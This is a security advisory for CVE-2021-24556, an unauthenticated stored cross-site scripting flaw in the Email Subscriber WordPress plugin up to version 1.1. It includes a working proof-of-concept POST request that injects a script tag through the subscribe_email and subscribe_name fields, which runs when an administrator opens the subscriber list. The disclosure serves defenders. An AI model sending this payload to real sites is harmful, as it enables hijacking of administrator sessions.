Email Subscriber <= 1.1 – Unauthenticated Stored Cross-Site Scripting (XSS) | CVE 2021-24556

Description

The kento_email_subscriber_ajax AJAX action of the plugin, does not properly sanitise, validate and escape the submitted subscribe_email and subscribe_name POST parameters, inserting them in the DB and then outputting them back in the Subscriber list (/wp-admin/edit.php?post_type=kes_campaign&page=kento_email_subscriber_list_settings), leading a Stored XSS issue.

Proof of Concept

POST /wp-admin/admin-ajax.php HTTP/1.1
Content-Length: 117
Accept: */*
X-Requested-With: XMLHttpRequest
Content-Type: application/x-www-form-urlencoded; charset=UTF-8
Accept-Language: en-US,en;q=0.9
Connection: close

action=kento_email_subscriber_ajax&subscribe_email=<script>alert(1)</script>&subscribe_name=<script>alert(1)</script>


Then view the Subscriber list (/wp-admin/edit.php?post_type=kes_campaign&page=kento_email_subscriber_list_settings) as admin to trigger the XSS